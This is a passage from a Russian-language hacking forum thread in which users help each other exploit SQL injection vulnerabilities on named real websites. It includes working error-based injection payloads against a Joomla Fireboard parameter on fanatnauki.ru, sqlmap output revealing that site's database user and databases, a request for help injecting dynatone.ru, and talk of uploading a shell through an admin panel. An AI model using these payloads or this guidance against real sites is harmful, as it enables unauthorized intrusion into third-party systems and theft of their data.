HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #21191  
Старый 15.08.2012, 01:52
Unknown
Guest
Сообщений: n/a
Провел на форуме:
6070

Репутация: 5
По умолчанию

pirat0

А заливать каким путем собираешься? через админку или есть локальный инклюд?
 
Ответить с цитированием

  #21192  
Старый 15.08.2012, 08:37
Ups
Guest
Сообщений: n/a
Провел на форуме:
42754

Репутация: 0
По умолчанию

Помогите раскрутить

Пробывал sqlmap'ом.

http://www.fanatnauki.ru/index.php?option=com_fireboard&Itemid=8&func=view
 
Ответить с цитированием

  #21193  
Старый 15.08.2012, 11:53
Melfis
Guest
Сообщений: n/a
Провел на форуме:
195266

Репутация: 53
По умолчанию

Цитата:
Сообщение от [ Dumi  
"]
[ Dumi ] said:
Не получается
http://www.fanatnauki.ru/index.php

?option=com_fireboard

&Itemid=8

&func=view

&task=showprf',(extractvalue(1,concat(0x3a,version ()))),1,2,3,4)-- xyi

upd. главное после --ПРОБЕЛ надо какой-то ещё символ поставить, а то trim убирает пробел
 
Ответить с цитированием

  #21194  
Старый 15.08.2012, 19:14
Unknown
Guest
Сообщений: n/a
Провел на форуме:
6070

Репутация: 5
По умолчанию

Ups

Плохо значит пробовал, мапом нужно научиться пользоваться, это не HAvij, но куда более мощный и гибкий.

Цитата:
Сообщение от None  
option=com_fireboard&Itemid=8&func=view&task=showp rf' AND (SELECT 4499 FROM(SELECT COUNT(*),CONCAT(0x3a7871773a,(SELECT (CASE WHEN (4499=4499) THEN 1 ELSE 0 END)),0x3a7361703a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'dEci'='dEci
current user: 'kubrikov_fn@localhost'

Цитата:
Сообщение от None  
database management system users privileges:
kubrikov_fn'@'localhost
privilege: USAGE
available databases
information_schema
kubrikov_fn
 
Ответить с цитированием

  #21195  
Старый 15.08.2012, 19:43
Melfis
Guest
Сообщений: n/a
Провел на форуме:
195266

Репутация: 53
По умолчанию

Цитата:
Сообщение от Teratex  
Teratex said:
Ups
Плохо значит пробовал, мапом нужно научиться пользоваться, это не HAvij, но куда более мощный и гибкий.
current user: 'kubrikov_fn@localhost'
Он не знал, что скуль в другом параметре - task.

Зы. смысл было повторно постить раскрутку ещё и более длинным способом...
 
Ответить с цитированием

  #21196  
Старый 15.08.2012, 19:57
Ups
Guest
Сообщений: n/a
Провел на форуме:
42754

Репутация: 0
По умолчанию

Цитата:
Сообщение от Melfis  
Melfis said:
Зы. смысл было повторно постить раскрутку ещё и более длинным способом...
Дайте покороче способ, если есть. Спасибо.
 
Ответить с цитированием

  #21197  
Старый 15.08.2012, 20:07
Melfis
Guest
Сообщений: n/a
Провел на форуме:
195266

Репутация: 53
По умолчанию

Цитата:
Сообщение от Ups  
Ups said:
Дайте покороче способ, если есть.
Спасибо.
/showpost.php?p=3243868&postcount=21172

Выше разве не он?
 
Ответить с цитированием

  #21198  
Старый 15.08.2012, 21:04
Unknown
Guest
Сообщений: n/a
Провел на форуме:
6070

Репутация: 5
По умолчанию

Ups

Я дал ему способ для мапа и как пример показал что можно и мапом, а что использовать дело хозяйское, вот для того и запостил.
 
Ответить с цитированием

  #21199  
Старый 16.08.2012, 00:17
pirat0
Guest
Сообщений: n/a
Провел на форуме:
23576

Репутация: -1
По умолчанию

Цитата:
Сообщение от Teratex  
Teratex said:
pirat0
А заливать каким путем собираешься? через админку или есть локальный инклюд?
через админку
 
Ответить с цитированием

  #21200  
Старый 16.08.2012, 02:37
Nightfall
Guest
Сообщений: n/a
Провел на форуме:
755

Репутация: 0
По умолчанию

Здравствуйте, подскажите, пожалуйста, что делать, если order by никогда не выдает ошибку?

Например, здесь: http://dynatone.ru/products.php?brand=Flight&group=911'
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 2 (пользователей: 0 , гостей: 2)
 


Быстрый переход




ANTICHAT.XYZ